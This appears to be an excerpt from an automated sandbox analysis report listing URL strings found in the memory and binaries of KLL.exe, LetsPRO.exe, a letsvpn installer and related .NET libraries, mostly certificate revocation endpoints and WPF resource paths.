Source: KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3916788876.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: LetsPRO.exe, 00000037.00000002.3959647061.000000002FB6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3944743852.0000000005562000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3945202332.0000000005588000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: svchost.exe, 0000000C.00000002.3912339118.0000028616400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3944743852.0000000005562000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3945202332.0000000005588000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: LetsPRO.exe, 00000037.00000002.3911728038.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: LetsPRO.exe, 00000037.00000002.3943774315.0000000005522000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/AppMenuDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/AppMenuDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/WindowDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/Themes/WindowDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035DB000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/app.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035DB000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/LetsPRO;component/app.xamld
Source: svchost.exe, 0000000C.00000003.2149586526.00000286161F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/AppMenuDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/AppMenuDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/ButtonDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/ButtonDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/RadioButtonDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/RadioButtonDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/ScrollViewDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/ScrollViewDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/TabControllerDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/TabControllerDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/TextBoxDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/TextBoxDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/WindowDictionary.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Themes/WindowDictionary.xamld
Source: LetsPRO.exe, 00000044.00000002.2764707557.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035DB000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/app.xaml
Source: LetsPRO.exe, 00000044.00000002.2764707557.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035DB000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/app.xamld
Source: LetsPRO.exe, 00000048.00000002.2841468405.0000000002E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/app.baml
Source: LetsPRO.exe, 00000044.00000002.2764707557.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035DB000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/app.bamld
Source: LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/appmenudictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/appmenudictionary.bamld
Source: LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/buttondictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/buttondictionary.bamld
Source: LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/radiobuttondictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/radiobuttondictionary.bamld
Source: LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/scrollviewdictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/scrollviewdictionary.bamld
Source: LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/tabcontrollerdictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/tabcontrollerdictionary.bamld
Source: LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/textboxdictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/textboxdictionary.bamld
Source: LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/windowdictionary.baml
Source: LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/themes/windowdictionary.bamld
Source: MdXaml.dll.18.dr	String found in binary or memory: http://icsharpcode.net/sharpdevelop/avalonedit
Source: LetsPRO.exe, 00000044.00000002.2771481976.0000000005BD2000.00000002.00000001.01000000.0000001D.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: LetsPRO.exe, 00000044.00000002.2769930251.00000000058E2000.00000002.00000001.01000000.0000001B.sdmp	String found in binary or memory: http://logging.apache.org/log4net/release/faq.html#trouble-EventLog
Source: letsvpn-latest.exe, 00000012.00000002.2600742233.000000000040A000.00000004.00000001.01000000.0000000D.sdmp, letsvpn-latest.exe, 00000012.00000000.2208899092.000000000040A000.00000008.00000001.01000000.0000000D.sdmp, letsvpn-latest.exe, 00000012.00000003.2536155184.0000000000700000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe.0.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000019.00000002.2455539910.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3935793905.0000000003BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3916788876.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	String found in binary or memory: http://ocsp.comodoca.com0
